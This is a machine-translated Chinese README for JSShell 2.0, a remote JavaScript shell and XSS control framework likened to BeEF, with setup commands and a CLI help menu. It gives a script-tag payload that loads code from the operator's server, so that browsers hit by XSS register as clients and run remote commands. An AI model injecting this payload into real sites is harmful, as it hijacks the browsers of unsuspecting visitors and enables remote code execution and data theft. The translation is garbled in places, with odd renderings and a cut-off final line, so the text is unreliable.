一個基於交互式多用戶的交互式JavaScript Shell。最初是為了在實驗和研究過程中調試遠程深奧瀏覽器的創建。可以將此工具輕鬆連接到XSS(跨站點腳本)有效負載,以實現瀏覽器遠程代碼執行(類似於牛肉框架)。
2.0版是完全從頭開始創建的,引入了新的令人興奮的功能,穩定性和可維護性。
丹尼爾·亞伯斯(Daniel Abeles)。
<script>標籤注射在resources目錄中,使用您所需的配置更新config.json文件:
docker部署方法運行,請選擇數據庫主機作為db (這是內部主機名)。shell.js文件進行一些AJAX調用以註冊和輪詢新命令。通常,它將是http[s]://{YOUR_SERVER_IP}:{PORT} 。現在,JSShell支持TLS,這意味著您現在可以生成TLS證書並將其提供給Web服務器。 Web服務器將從config.json文件推斷域名。為了創建證書,請在scripts文件夾中使用create_cert.py腳本:
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > 請注意,必須關閉Web服務器才能使腳本正常運行。在這一點上,我們已經成功生成了證書!我們需要做的唯一修改是:
config.json文件中,將URL字段的架構更改為https 。docker-compose.yml文件中,文件將web容器的暴露端口更改為443 。該新版本支持通過docker和docker-compose安裝和運行JSSHELL。現在,要安裝並運行整個JSSHELL框架,只需運行:
$ ./scripts/start_docker_shell.sh這將:
JSShell命令行接口容器的新實例如果您仍然想使用舊的安裝方法,只需確保您啟動和運行MongoDB數據庫,然後更新位於resources目錄中的config.json文件即可。
我建議使用pyenv的虛擬環境:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv或使用virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activate然後,安裝要求:
$ pip install -r requirements.txt如果使用docker方法,則無需運行以下過程。
否則,一旦我們進行了數據庫設置,就需要啟動Web API服務器。要做,運行:
$ python manage.py web這將創建並運行一個Web服務器,該Web服務器會傾聽傳入的連接並為我們的JSSHELL代碼提供服務。
現在要啟動JSSHELL CLI,運行相同的腳本,但現在使用shell標誌:
$ python manage.py shell設置並運行所需的組件後,輸入help命令以查看可用命令:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSshell支持2種操作方法:
與其他XSS控制框架(如牛肉)類似,JSSHELL能夠管理成功的XSS利用。例如,如果您可以注入script標籤,請將以下資源注入有效載荷,新客戶端將出現在您的控制台中:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
如果您想調試異國情調和深奧的瀏覽器,則可以簡單地導航到http[s]://{YOUR_SERVER_IP}:{PORT}/ ,一個新客戶端將彈出到您的JSshell Cli Client中。現在,它可以通過我們的JSSHELL控制台進行辯論。
JSON.PRUNE的canop